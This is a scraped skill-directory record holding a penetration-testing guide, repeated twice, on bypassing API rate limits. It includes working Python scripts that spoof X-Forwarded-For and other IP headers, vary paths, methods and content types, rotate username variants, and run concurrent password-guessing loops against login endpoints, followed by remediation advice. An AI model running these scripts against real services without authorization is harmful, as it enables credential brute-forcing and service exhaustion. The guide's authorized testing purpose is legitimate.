[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7B874S0JBRAQHFEVC0J3NKH":3,"skill-same:01M7B874S0JBRAQHFEVC0J3NKH":82},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":15,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":46,"commitSha":47,"skillDirectory":48,"forksCount":13,"repositoryHtmlUrl":49,"repositoryHomepageUrl":6,"ownerHtmlUrl":50,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":51,"install":52,"resources":65},"01M7B874S0JBRAQHFEVC0J3NKH","performing-api-rate-limiting-bypass",null,"Tests API rate limiting for bypass vulnerabilities using Python (requests\u002Faiohttp) and Burp Suite Turbo Intruder to manipulate headers (e.g. X-Forwarded-For spoofing), IPs, HTTP methods, API versions, and encodings, mapping findings to OWASP API4:2023 Unrestricted Resource Consumption. Use when assessing, under written authorization, whether rate limits can be bypassed to enable brute force or resource-exhaustion attacks.","vikasvardhanv\u002Fjerry_skills","vikasvardhanv","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F99010657?v=4","01M7B2B0VN78W7529RQX5BR6DZ","01M7B2B0WDNTXJHRK3QNPNWRP6",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-api-rate-limiting-bypass\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-api-rate-limiting-bypass\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: performing-api-rate-limiting-bypass\ndescription: 'Tests API rate limiting for bypass vulnerabilities using Python (requests\u002Faiohttp)\n  and Burp Suite Turbo Intruder to manipulate headers (e.g. X-Forwarded-For spoofing),\n  IPs, HTTP methods, API versions, and encodings, mapping findings to OWASP API4:2023\n  Unrestricted Resource Consumption. Use when assessing, under written authorization,\n  whether rate limits can be bypassed to enable brute force or resource-exhaustion\n  attacks.\n\n  '\ndomain: cybersecurity\nsubdomain: api-security\ntags:\n- api-security\n- owasp\n- rate-limiting\n- throttling\n- brute-force\n- dos-prevention\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1552.001\n- T1027\n- T1055\n---\n# Performing API Rate Limiting Bypass\n\n## When to Use\n\n- Testing whether API rate limiting can be circumvented to enable brute force attacks on authentication endpoints\n- Assessing the effectiveness of API throttling controls against credential stuffing or account enumeration\n- Evaluating if rate limits are enforced consistently across all API versions, methods, and encoding formats\n- Testing if API gateway rate limiting can be bypassed through header manipulation or IP rotation\n- Validating that rate limits protect against resource exhaustion and denial-of-service conditions\n\n**Do not use** without written authorization. Rate limit testing involves sending high volumes of requests that may impact service availability.\n\n## Prerequisites\n\n- Written authorization specifying target endpoints and acceptable request volumes\n- Python 3.10+ with `requests`, `aiohttp`, and `asyncio` libraries\n- Burp Suite Professional with Turbo Intruder extension for high-speed testing\n- cURL for manual header manipulation testing\n- Knowledge of the target's CDN and WAF infrastructure (Cloudflare, AWS WAF, Akamai)\n- List of rate-limit bypass headers to test\n\n## Workflow\n\n### Step 1: Rate Limit Discovery and Baseline\n\nIdentify how rate limiting is implemented:\n\n```python\nimport requests\nimport time\n\nBASE_URL = \"https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fv1\"\nheaders = {\"Authorization\": \"Bearer \u003Ctoken>\", \"Content-Type\": \"application\u002Fjson\"}\n\n# Send requests and track rate limit headers\ndef probe_rate_limit(endpoint, method=\"GET\", count=100):\n    results = []\n    for i in range(count):\n        resp = requests.request(method, f\"{BASE_URL}{endpoint}\", headers=headers)\n        rate_headers = {\n            \"limit\": resp.headers.get(\"X-RateLimit-Limit\") or resp.headers.get(\"X-Rate-Limit-Limit\"),\n            \"remaining\": resp.headers.get(\"X-RateLimit-Remaining\") or resp.headers.get(\"X-Rate-Limit-Remaining\"),\n            \"reset\": resp.headers.get(\"X-RateLimit-Reset\") or resp.headers.get(\"X-Rate-Limit-Reset\"),\n            \"retry_after\": resp.headers.get(\"Retry-After\"),\n            \"status\": resp.status_code\n        }\n        results.append(rate_headers)\n        if resp.status_code == 429:\n            print(f\"Rate limited at request {i+1}: {rate_headers}\")\n            return results, i+1\n        time.sleep(0.05)  # Small delay to avoid connection issues\n    print(f\"No rate limit triggered after {count} requests\")\n    return results, count\n\n# Test key endpoints\nlogin_results, login_threshold = probe_rate_limit(\"\u002Fauth\u002Flogin\", \"POST\", 200)\napi_results, api_threshold = probe_rate_limit(\"\u002Fusers\u002Fme\", \"GET\", 200)\nsearch_results, search_threshold = probe_rate_limit(\"\u002Fsearch?q=test\", \"GET\", 200)\n\nprint(f\"\\nRate Limit Summary:\")\nprint(f\"  Login: Triggered at request {login_threshold}\")\nprint(f\"  API: Triggered at request {api_threshold}\")\nprint(f\"  Search: Triggered at request {search_threshold}\")\n```\n\n### Step 2: IP-Based Bypass Techniques\n\n```python\n# Bypass Technique 1: Header-based IP spoofing\nIP_SPOOFING_HEADERS = [\n    \"X-Forwarded-For\",\n    \"X-Real-IP\",\n    \"X-Original-Forwarded-For\",\n    \"X-Originating-IP\",\n    \"X-Remote-IP\",\n    \"X-Remote-Addr\",\n    \"X-Client-IP\",\n    \"X-Host\",\n    \"X-Forwarded-Host\",\n    \"True-Client-IP\",\n    \"Cluster-Client-IP\",\n    \"X-ProxyUser-Ip\",\n    \"Forwarded\",\n    \"CF-Connecting-IP\",\n    \"Fastly-Client-IP\",\n    \"X-Azure-ClientIP\",\n    \"X-Akamai-Client-IP\",\n]\n\ndef test_ip_spoofing_bypass(endpoint, method=\"POST\", body=None):\n    \"\"\"Test if IP spoofing headers bypass rate limiting.\"\"\"\n    # First, trigger the rate limit normally\n    for i in range(200):\n        resp = requests.request(method, f\"{BASE_URL}{endpoint}\", headers=headers, json=body)\n        if resp.status_code == 429:\n            print(f\"Rate limit triggered at request {i+1}\")\n            break\n\n    # Now test each spoofing header\n    bypasses_found = []\n    for header in IP_SPOOFING_HEADERS:\n        spoofed_headers = {**headers, header: f\"10.0.{i%256}.{(i*7)%256}\"}\n        resp = requests.request(method, f\"{BASE_URL}{endpoint}\", headers=spoofed_headers, json=body)\n        if resp.status_code != 429:\n            bypasses_found.append(header)\n            print(f\"[BYPASS] {header} -> {resp.status_code}\")\n\n    return bypasses_found\n\nlogin_body = {\"username\": \"test@example.com\", \"password\": \"wrongpassword\"}\nbypasses = test_ip_spoofing_bypass(\"\u002Fauth\u002Flogin\", \"POST\", login_body)\n```\n\n### Step 3: Endpoint Variation Bypass\n\n```python\n# Bypass Technique 2: URL path variation\ndef test_path_variation_bypass(base_endpoint, token):\n    \"\"\"Test if path variations bypass rate limit tied to specific endpoint.\"\"\"\n    variations = [\n        base_endpoint,                          # \u002Fapi\u002Fv1\u002Fauth\u002Flogin\n        base_endpoint + \"\u002F\",                    # \u002Fapi\u002Fv1\u002Fauth\u002Flogin\u002F\n        base_endpoint.upper(),                  # \u002FAPI\u002FV1\u002FAUTH\u002FLOGIN\n        base_endpoint + \"?dummy=1\",             # \u002Fapi\u002Fv1\u002Fauth\u002Flogin?dummy=1\n        base_endpoint + \"#fragment\",            # \u002Fapi\u002Fv1\u002Fauth\u002Flogin#fragment\n        base_endpoint + \"%20\",                  # \u002Fapi\u002Fv1\u002Fauth\u002Flogin%20\n        base_endpoint + \"\u002F..\",                  # \u002Fapi\u002Fv1\u002Fauth\u002Flogin\u002F..\n        base_endpoint.replace(\"\u002Fv1\u002F\", \"\u002Fv2\u002F\"),  # \u002Fapi\u002Fv2\u002Fauth\u002Flogin\n        base_endpoint + \";\",                    # \u002Fapi\u002Fv1\u002Fauth\u002Flogin;\n        base_endpoint + \"\\t\",                   # Tab character\n        base_endpoint + \"%00\",                  # Null byte\n        base_endpoint + \"..;\u002F\",                 # Spring path traversal\n    ]\n\n    # Trigger rate limit on original endpoint first\n    for i in range(200):\n        resp = requests.post(f\"{BASE_URL}{base_endpoint}\",\n                           headers={\"Authorization\": f\"Bearer {token}\"},\n                           json={\"username\": \"test\", \"password\": \"wrong\"})\n        if resp.status_code == 429:\n            break\n\n    # Test variations\n    for variant in variations:\n        try:\n            resp = requests.post(f\"{BASE_URL}{variant}\",\n                               headers={\"Authorization\": f\"Bearer {token}\"},\n                               json={\"username\": \"test\", \"password\": \"wrong\"})\n            if resp.status_code != 429:\n                print(f\"[BYPASS] Path variation: {variant} -> {resp.status_code}\")\n        except Exception:\n            pass\n\ntest_path_variation_bypass(\"\u002Fauth\u002Flogin\", \"\u003Ctoken>\")\n```\n\n### Step 4: HTTP Method and Content-Type Bypass\n\n```python\n# Bypass Technique 3: Method and content-type switching\ndef test_method_bypass(endpoint, original_body):\n    \"\"\"Test if rate limit is method-specific.\"\"\"\n    methods_to_test = [\"POST\", \"PUT\", \"PATCH\", \"GET\", \"OPTIONS\"]\n\n    content_types = [\n        \"application\u002Fjson\",\n        \"application\u002Fx-www-form-urlencoded\",\n        \"multipart\u002Fform-data\",\n        \"text\u002Fplain\",\n        \"application\u002Fxml\",\n        \"text\u002Fxml\",\n    ]\n\n    # Trigger rate limit with POST + application\u002Fjson\n    for i in range(200):\n        resp = requests.post(f\"{BASE_URL}{endpoint}\",\n                           headers={**headers, \"Content-Type\": \"application\u002Fjson\"},\n                           json=original_body)\n        if resp.status_code == 429:\n            break\n\n    # Test other methods\n    for method in methods_to_test:\n        if method == \"POST\":\n            continue\n        resp = requests.request(method, f\"{BASE_URL}{endpoint}\",\n                              headers=headers, json=original_body)\n        if resp.status_code not in (429, 405):\n            print(f\"[BYPASS] Method switch to {method}: {resp.status_code}\")\n\n    # Test other content types\n    for ct in content_types:\n        if ct == \"application\u002Fjson\":\n            continue\n        test_headers = {**headers, \"Content-Type\": ct}\n        if ct == \"application\u002Fx-www-form-urlencoded\":\n            data = \"&\".join(f\"{k}={v}\" for k, v in original_body.items())\n            resp = requests.post(f\"{BASE_URL}{endpoint}\", headers=test_headers, data=data)\n        else:\n            resp = requests.post(f\"{BASE_URL}{endpoint}\", headers=test_headers,\n                               data=str(original_body))\n        if resp.status_code != 429:\n            print(f\"[BYPASS] Content-Type {ct}: {resp.status_code}\")\n\ntest_method_bypass(\"\u002Fauth\u002Flogin\", {\"username\": \"test@example.com\", \"password\": \"wrong\"})\n```\n\n### Step 5: Account-Level Bypass Techniques\n\n```python\n# Bypass Technique 4: Rotate identifiers to avoid per-account limits\nimport string\nimport random\n\ndef test_account_rotation_bypass(login_endpoint, target_password_list):\n    \"\"\"Test if rate limit is per-account, bypassed by rotating usernames.\"\"\"\n    target_email = \"victim@example.com\"\n\n    # Test 1: Per-account rate limit bypass by rotating the username field\n    # with slight variations\n    email_variations = [\n        target_email,\n        target_email.upper(),\n        f\" {target_email}\",\n        f\"{target_email} \",\n        target_email.replace(\"@\", \"%40\"),\n        f\"+tag@\".join(target_email.split(\"@\")),  # victim+tag@example.com\n    ]\n\n    for password in target_password_list[:50]:\n        for email_var in email_variations:\n            resp = requests.post(f\"{BASE_URL}{login_endpoint}\",\n                               json={\"username\": email_var, \"password\": password})\n            if resp.status_code == 200:\n                print(f\"[SUCCESS] Logged in with: {email_var} \u002F {password}\")\n                return True\n            elif resp.status_code == 429:\n                print(f\"Rate limited on variation: {email_var}\")\n            # Small delay\n            time.sleep(0.1)\n\n    return False\n\n# Bypass Technique 5: Parameter pollution\ndef test_parameter_pollution_bypass(endpoint):\n    \"\"\"Add extra parameters to make each request appear unique.\"\"\"\n    for i in range(200):\n        random_param = ''.join(random.choices(string.ascii_lowercase, k=8))\n        resp = requests.post(\n            f\"{BASE_URL}{endpoint}?{random_param}={i}\",\n            headers=headers,\n            json={\"username\": \"test@example.com\", \"password\": f\"attempt_{i}\"}\n        )\n        if resp.status_code == 429:\n            print(f\"Parameter pollution failed at request {i+1}\")\n            return False\n    print(\"[BYPASS] Parameter pollution: 200 requests without rate limit\")\n    return True\n```\n\n### Step 6: Distributed and Async Testing\n\n```python\nimport asyncio\nimport aiohttp\n\nasync def distributed_rate_limit_test(endpoint, total_requests=1000, concurrency=50):\n    \"\"\"Test rate limiting under concurrent load.\"\"\"\n    results = {\"success\": 0, \"rate_limited\": 0, \"errors\": 0}\n\n    async def make_request(session, request_num):\n        try:\n            # Rotate X-Forwarded-For per request\n            req_headers = {\n                **headers,\n                \"X-Forwarded-For\": f\"192.168.{request_num % 256}.{(request_num * 3) % 256}\"\n            }\n            async with session.post(\n                f\"{BASE_URL}{endpoint}\",\n                headers=req_headers,\n                json={\"username\": \"test@example.com\", \"password\": f\"attempt_{request_num}\"}\n            ) as resp:\n                if resp.status == 429:\n                    results[\"rate_limited\"] += 1\n                elif resp.status in (200, 401):\n                    results[\"success\"] += 1\n                else:\n                    results[\"errors\"] += 1\n        except Exception:\n            results[\"errors\"] += 1\n\n    connector = aiohttp.TCPConnector(limit=concurrency)\n    async with aiohttp.ClientSession(connector=connector) as session:\n        tasks = [make_request(session, i) for i in range(total_requests)]\n        await asyncio.gather(*tasks)\n\n    print(f\"\\nDistributed Test Results:\")\n    print(f\"  Successful: {results['success']}\")\n    print(f\"  Rate Limited: {results['rate_limited']}\")\n    print(f\"  Errors: {results['errors']}\")\n    print(f\"  Bypass Rate: {results['success']\u002F(results['success']+results['rate_limited'])*100:.1f}%\")\n\n# asyncio.run(distributed_rate_limit_test(\"\u002Fauth\u002Flogin\"))\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Rate Limiting** | Controlling the number of requests a client can make to an API within a time window, typically enforced per IP, per user, or per API key |\n| **Unrestricted Resource Consumption** | OWASP API4:2023 - APIs that do not properly limit the size or number of resources requested, enabling DoS or brute force attacks |\n| **X-Forwarded-For Spoofing** | Manipulating the X-Forwarded-For header to make the server believe requests originate from different IP addresses, bypassing IP-based rate limits |\n| **Credential Stuffing** | Automated injection of stolen username\u002Fpassword pairs against login endpoints, requiring rate limit bypass for large-scale attacks |\n| **Token Bucket** | Rate limiting algorithm that allows bursts of requests up to a bucket size, refilling at a constant rate |\n| **Sliding Window** | Rate limiting algorithm that tracks requests in a rolling time window, more resistant to burst attacks than fixed windows |\n\n## Tools & Systems\n\n- **Burp Suite Turbo Intruder**: High-performance request sender for rate limit testing using Python-based scripting engine\n- **ffuf**: Fast web fuzzer capable of testing rate limits with configurable request rates and header manipulation\n- **wfuzz**: Web fuzzer with support for header injection, parameter fuzzing, and rate limit evasion techniques\n- **Postman Collection Runner**: Automated collection execution with variable rotation for rate limit bypass testing\n- **Gatling\u002Fk6**: Load testing tools that simulate realistic traffic patterns to test rate limiting under production-like conditions\n\n## Common Scenarios\n\n### Scenario: Login API Rate Limit Bypass Assessment\n\n**Context**: A financial services API implements rate limiting on the login endpoint to prevent brute force attacks. The security team wants to verify the effectiveness of these controls before a compliance audit.\n\n**Approach**:\n1. Baseline: Send 100 requests to `POST \u002Fapi\u002Fv1\u002Fauth\u002Flogin` - rate limited at request 10 per minute per IP\n2. Test X-Forwarded-For rotation: Send 100 requests with unique X-Forwarded-For values - rate limit bypassed (all requests return 401, not 429)\n3. Test path variation: `\u002Fapi\u002Fv1\u002Fauth\u002Flogin\u002F` (trailing slash) resets the rate limit counter\n4. Test API versioning: `\u002Fapi\u002Fv2\u002Fauth\u002Flogin` has no rate limiting configured (shadow API)\n5. Test parameter pollution: Adding `?_=\u003Crandom>` to each request bypasses the rate limit\n6. Test concurrent requests: 50 simultaneous requests from same IP - 45 succeed before rate limit kicks in (race condition in counter)\n7. Determine that rate limiting is implemented at the nginx reverse proxy level using IP-only tracking, trusting X-Forwarded-For header without validation\n\n**Pitfalls**:\n- Sending too many requests too fast and causing actual denial of service to the test environment\n- Not testing rate limits on password reset, MFA verification, and account enumeration endpoints\n- Assuming the rate limit applies globally when it may be per-endpoint or per-method only\n- Missing race conditions in rate limit counters that allow burst bypasses\n- Not testing both authenticated and unauthenticated rate limiting separately\n\n## Output Format\n\n```\n## Finding: Rate Limiting Bypass via X-Forwarded-For Header Spoofing\n\n**ID**: API-RATE-001\n**Severity**: High (CVSS 7.3)\n**OWASP API**: API4:2023 - Unrestricted Resource Consumption\n**Affected Endpoints**:\n  - POST \u002Fapi\u002Fv1\u002Fauth\u002Flogin\n  - POST \u002Fapi\u002Fv1\u002Fauth\u002Fforgot-password\n  - POST \u002Fapi\u002Fv1\u002Fauth\u002Fverify-mfa\n\n**Description**:\nThe API rate limiting implementation relies on the X-Forwarded-For header\nto identify client IP addresses. Since the application sits behind a load\nbalancer that does not strip or validate this header, an attacker can set\narbitrary X-Forwarded-For values to bypass the 10 requests\u002Fminute rate limit\non authentication endpoints.\n\n**Bypass Methods Confirmed**:\n1. X-Forwarded-For rotation: 1000 login attempts in 60 seconds (vs 10 limit)\n2. Trailing slash path variation: \u002Fauth\u002Flogin\u002F treated as separate endpoint\n3. API v2 endpoint: No rate limiting configured\n4. Race condition: 50 concurrent requests, 45 succeed before counter updates\n\n**Impact**:\nAn attacker can perform unlimited brute force attacks against any user\naccount, bypassing the rate limit designed to prevent credential stuffing.\nAt 1000 attempts per minute, a 6-digit PIN can be brute-forced in under\n17 minutes.\n\n**Remediation**:\n1. Configure the load balancer to set X-Forwarded-For and strip client-provided values\n2. Implement rate limiting at the application layer using authenticated user ID, not just IP\n3. Normalize URL paths before applying rate limit rules (strip trailing slashes, enforce lowercase)\n4. Apply rate limits consistently across all API versions and content types\n5. Use atomic rate limit counters (Redis INCR) to prevent race conditions\n6. Implement progressive delays (exponential backoff) in addition to hard limits\n```\n","# Performing API Rate Limiting Bypass\n\n## When to Use\n\n- Testing whether API rate limiting can be circumvented to enable brute force attacks on authentication endpoints\n- Assessing the effectiveness of API throttling controls against credential stuffing or account enumeration\n- Evaluating if rate limits are enforced consistently across all API versions, methods, and encoding formats\n- Testing if API gateway rate limiting can be bypassed through header manipulation or IP rotation\n- Validating that rate limits protect against resource exhaustion and denial-of-service conditions\n\n**Do not use** without written authorization. Rate limit testing involves sending high volumes of requests that may impact service availability.\n\n## Prerequisites\n\n- Written authorization specifying target endpoints and acceptable request volumes\n- Python 3.10+ with `requests`, `aiohttp`, and `asyncio` libraries\n- Burp Suite Professional with Turbo Intruder extension for high-speed testing\n- cURL for manual header manipulation testing\n- Knowledge of the target's CDN and WAF infrastructure (Cloudflare, AWS WAF, Akamai)\n- List of rate-limit bypass headers to test\n\n## Workflow\n\n### Step 1: Rate Limit Discovery and Baseline\n\nIdentify how rate limiting is implemented:\n\n```python\nimport requests\nimport time\n\nBASE_URL = \"https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fv1\"\nheaders = {\"Authorization\": \"Bearer \u003Ctoken>\", \"Content-Type\": \"application\u002Fjson\"}\n\n# Send requests and track rate limit headers\ndef probe_rate_limit(endpoint, method=\"GET\", count=100):\n    results = []\n    for i in range(count):\n        resp = requests.request(method, f\"{BASE_URL}{endpoint}\", headers=headers)\n        rate_headers = {\n            \"limit\": resp.headers.get(\"X-RateLimit-Limit\") or resp.headers.get(\"X-Rate-Limit-Limit\"),\n            \"remaining\": resp.headers.get(\"X-RateLimit-Remaining\") or resp.headers.get(\"X-Rate-Limit-Remaining\"),\n            \"reset\": resp.headers.get(\"X-RateLimit-Reset\") or resp.headers.get(\"X-Rate-Limit-Reset\"),\n            \"retry_after\": resp.headers.get(\"Retry-After\"),\n            \"status\": resp.status_code\n        }\n        results.append(rate_headers)\n        if resp.status_code == 429:\n            print(f\"Rate limited at request {i+1}: {rate_headers}\")\n            return results, i+1\n        time.sleep(0.05)  # Small delay to avoid connection issues\n    print(f\"No rate limit triggered after {count} requests\")\n    return results, count\n\n# Test key endpoints\nlogin_results, login_threshold = probe_rate_limit(\"\u002Fauth\u002Flogin\", \"POST\", 200)\napi_results, api_threshold = probe_rate_limit(\"\u002Fusers\u002Fme\", \"GET\", 200)\nsearch_results, search_threshold = probe_rate_limit(\"\u002Fsearch?q=test\", \"GET\", 200)\n\nprint(f\"\\nRate Limit Summary:\")\nprint(f\"  Login: Triggered at request {login_threshold}\")\nprint(f\"  API: Triggered at request {api_threshold}\")\nprint(f\"  Search: Triggered at request {search_threshold}\")\n```\n\n### Step 2: IP-Based Bypass Techniques\n\n```python\n# Bypass Technique 1: Header-based IP spoofing\nIP_SPOOFING_HEADERS = [\n    \"X-Forwarded-For\",\n    \"X-Real-IP\",\n    \"X-Original-Forwarded-For\",\n    \"X-Originating-IP\",\n    \"X-Remote-IP\",\n    \"X-Remote-Addr\",\n    \"X-Client-IP\",\n    \"X-Host\",\n    \"X-Forwarded-Host\",\n    \"True-Client-IP\",\n    \"Cluster-Client-IP\",\n    \"X-ProxyUser-Ip\",\n    \"Forwarded\",\n    \"CF-Connecting-IP\",\n    \"Fastly-Client-IP\",\n    \"X-Azure-ClientIP\",\n    \"X-Akamai-Client-IP\",\n]\n\ndef test_ip_spoofing_bypass(endpoint, method=\"POST\", body=None):\n    \"\"\"Test if IP spoofing headers bypass rate limiting.\"\"\"\n    # First, trigger the rate limit normally\n    for i in range(200):\n        resp = requests.request(method, f\"{BASE_URL}{endpoint}\", headers=headers, json=body)\n        if resp.status_code == 429:\n            print(f\"Rate limit triggered at request {i+1}\")\n            break\n\n    # Now test each spoofing header\n    bypasses_found = []\n    for header in IP_SPOOFING_HEADERS:\n        spoofed_headers = {**headers, header: f\"10.0.{i%256}.{(i*7)%256}\"}\n        resp = requests.request(method, f\"{BASE_URL}{endpoint}\", headers=spoofed_headers, json=body)\n        if resp.status_code != 429:\n            bypasses_found.append(header)\n            print(f\"[BYPASS] {header} -> {resp.status_code}\")\n\n    return bypasses_found\n\nlogin_body = {\"username\": \"test@example.com\", \"password\": \"wrongpassword\"}\nbypasses = test_ip_spoofing_bypass(\"\u002Fauth\u002Flogin\", \"POST\", login_body)\n```\n\n### Step 3: Endpoint Variation Bypass\n\n```python\n# Bypass Technique 2: URL path variation\ndef test_path_variation_bypass(base_endpoint, token):\n    \"\"\"Test if path variations bypass rate limit tied to specific endpoint.\"\"\"\n    variations = [\n        base_endpoint,                          # \u002Fapi\u002Fv1\u002Fauth\u002Flogin\n        base_endpoint + \"\u002F\",                    # \u002Fapi\u002Fv1\u002Fauth\u002Flogin\u002F\n        base_endpoint.upper(),                  # \u002FAPI\u002FV1\u002FAUTH\u002FLOGIN\n        base_endpoint + \"?dummy=1\",             # \u002Fapi\u002Fv1\u002Fauth\u002Flogin?dummy=1\n        base_endpoint + \"#fragment\",            # \u002Fapi\u002Fv1\u002Fauth\u002Flogin#fragment\n        base_endpoint + \"%20\",                  # \u002Fapi\u002Fv1\u002Fauth\u002Flogin%20\n        base_endpoint + \"\u002F..\",                  # \u002Fapi\u002Fv1\u002Fauth\u002Flogin\u002F..\n        base_endpoint.replace(\"\u002Fv1\u002F\", \"\u002Fv2\u002F\"),  # \u002Fapi\u002Fv2\u002Fauth\u002Flogin\n        base_endpoint + \";\",                    # \u002Fapi\u002Fv1\u002Fauth\u002Flogin;\n        base_endpoint + \"\\t\",                   # Tab character\n        base_endpoint + \"%00\",                  # Null byte\n        base_endpoint + \"..;\u002F\",                 # Spring path traversal\n    ]\n\n    # Trigger rate limit on original endpoint first\n    for i in range(200):\n        resp = requests.post(f\"{BASE_URL}{base_endpoint}\",\n                           headers={\"Authorization\": f\"Bearer {token}\"},\n                           json={\"username\": \"test\", \"password\": \"wrong\"})\n        if resp.status_code == 429:\n            break\n\n    # Test variations\n    for variant in variations:\n        try:\n            resp = requests.post(f\"{BASE_URL}{variant}\",\n                               headers={\"Authorization\": f\"Bearer {token}\"},\n                               json={\"username\": \"test\", \"password\": \"wrong\"})\n            if resp.status_code != 429:\n                print(f\"[BYPASS] Path variation: {variant} -> {resp.status_code}\")\n        except Exception:\n            pass\n\ntest_path_variation_bypass(\"\u002Fauth\u002Flogin\", \"\u003Ctoken>\")\n```\n\n### Step 4: HTTP Method and Content-Type Bypass\n\n```python\n# Bypass Technique 3: Method and content-type switching\ndef test_method_bypass(endpoint, original_body):\n    \"\"\"Test if rate limit is method-specific.\"\"\"\n    methods_to_test = [\"POST\", \"PUT\", \"PATCH\", \"GET\", \"OPTIONS\"]\n\n    content_types = [\n        \"application\u002Fjson\",\n        \"application\u002Fx-www-form-urlencoded\",\n        \"multipart\u002Fform-data\",\n        \"text\u002Fplain\",\n        \"application\u002Fxml\",\n        \"text\u002Fxml\",\n    ]\n\n    # Trigger rate limit with POST + application\u002Fjson\n    for i in range(200):\n        resp = requests.post(f\"{BASE_URL}{endpoint}\",\n                           headers={**headers, \"Content-Type\": \"application\u002Fjson\"},\n                           json=original_body)\n        if resp.status_code == 429:\n            break\n\n    # Test other methods\n    for method in methods_to_test:\n        if method == \"POST\":\n            continue\n        resp = requests.request(method, f\"{BASE_URL}{endpoint}\",\n                              headers=headers, json=original_body)\n        if resp.status_code not in (429, 405):\n            print(f\"[BYPASS] Method switch to {method}: {resp.status_code}\")\n\n    # Test other content types\n    for ct in content_types:\n        if ct == \"application\u002Fjson\":\n            continue\n        test_headers = {**headers, \"Content-Type\": ct}\n        if ct == \"application\u002Fx-www-form-urlencoded\":\n            data = \"&\".join(f\"{k}={v}\" for k, v in original_body.items())\n            resp = requests.post(f\"{BASE_URL}{endpoint}\", headers=test_headers, data=data)\n        else:\n            resp = requests.post(f\"{BASE_URL}{endpoint}\", headers=test_headers,\n                               data=str(original_body))\n        if resp.status_code != 429:\n            print(f\"[BYPASS] Content-Type {ct}: {resp.status_code}\")\n\ntest_method_bypass(\"\u002Fauth\u002Flogin\", {\"username\": \"test@example.com\", \"password\": \"wrong\"})\n```\n\n### Step 5: Account-Level Bypass Techniques\n\n```python\n# Bypass Technique 4: Rotate identifiers to avoid per-account limits\nimport string\nimport random\n\ndef test_account_rotation_bypass(login_endpoint, target_password_list):\n    \"\"\"Test if rate limit is per-account, bypassed by rotating usernames.\"\"\"\n    target_email = \"victim@example.com\"\n\n    # Test 1: Per-account rate limit bypass by rotating the username field\n    # with slight variations\n    email_variations = [\n        target_email,\n        target_email.upper(),\n        f\" {target_email}\",\n        f\"{target_email} \",\n        target_email.replace(\"@\", \"%40\"),\n        f\"+tag@\".join(target_email.split(\"@\")),  # victim+tag@example.com\n    ]\n\n    for password in target_password_list[:50]:\n        for email_var in email_variations:\n            resp = requests.post(f\"{BASE_URL}{login_endpoint}\",\n                               json={\"username\": email_var, \"password\": password})\n            if resp.status_code == 200:\n                print(f\"[SUCCESS] Logged in with: {email_var} \u002F {password}\")\n                return True\n            elif resp.status_code == 429:\n                print(f\"Rate limited on variation: {email_var}\")\n            # Small delay\n            time.sleep(0.1)\n\n    return False\n\n# Bypass Technique 5: Parameter pollution\ndef test_parameter_pollution_bypass(endpoint):\n    \"\"\"Add extra parameters to make each request appear unique.\"\"\"\n    for i in range(200):\n        random_param = ''.join(random.choices(string.ascii_lowercase, k=8))\n        resp = requests.post(\n            f\"{BASE_URL}{endpoint}?{random_param}={i}\",\n            headers=headers,\n            json={\"username\": \"test@example.com\", \"password\": f\"attempt_{i}\"}\n        )\n        if resp.status_code == 429:\n            print(f\"Parameter pollution failed at request {i+1}\")\n            return False\n    print(\"[BYPASS] Parameter pollution: 200 requests without rate limit\")\n    return True\n```\n\n### Step 6: Distributed and Async Testing\n\n```python\nimport asyncio\nimport aiohttp\n\nasync def distributed_rate_limit_test(endpoint, total_requests=1000, concurrency=50):\n    \"\"\"Test rate limiting under concurrent load.\"\"\"\n    results = {\"success\": 0, \"rate_limited\": 0, \"errors\": 0}\n\n    async def make_request(session, request_num):\n        try:\n            # Rotate X-Forwarded-For per request\n            req_headers = {\n                **headers,\n                \"X-Forwarded-For\": f\"192.168.{request_num % 256}.{(request_num * 3) % 256}\"\n            }\n            async with session.post(\n                f\"{BASE_URL}{endpoint}\",\n                headers=req_headers,\n                json={\"username\": \"test@example.com\", \"password\": f\"attempt_{request_num}\"}\n            ) as resp:\n                if resp.status == 429:\n                    results[\"rate_limited\"] += 1\n                elif resp.status in (200, 401):\n                    results[\"success\"] += 1\n                else:\n                    results[\"errors\"] += 1\n        except Exception:\n            results[\"errors\"] += 1\n\n    connector = aiohttp.TCPConnector(limit=concurrency)\n    async with aiohttp.ClientSession(connector=connector) as session:\n        tasks = [make_request(session, i) for i in range(total_requests)]\n        await asyncio.gather(*tasks)\n\n    print(f\"\\nDistributed Test Results:\")\n    print(f\"  Successful: {results['success']}\")\n    print(f\"  Rate Limited: {results['rate_limited']}\")\n    print(f\"  Errors: {results['errors']}\")\n    print(f\"  Bypass Rate: {results['success']\u002F(results['success']+results['rate_limited'])*100:.1f}%\")\n\n# asyncio.run(distributed_rate_limit_test(\"\u002Fauth\u002Flogin\"))\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Rate Limiting** | Controlling the number of requests a client can make to an API within a time window, typically enforced per IP, per user, or per API key |\n| **Unrestricted Resource Consumption** | OWASP API4:2023 - APIs that do not properly limit the size or number of resources requested, enabling DoS or brute force attacks |\n| **X-Forwarded-For Spoofing** | Manipulating the X-Forwarded-For header to make the server believe requests originate from different IP addresses, bypassing IP-based rate limits |\n| **Credential 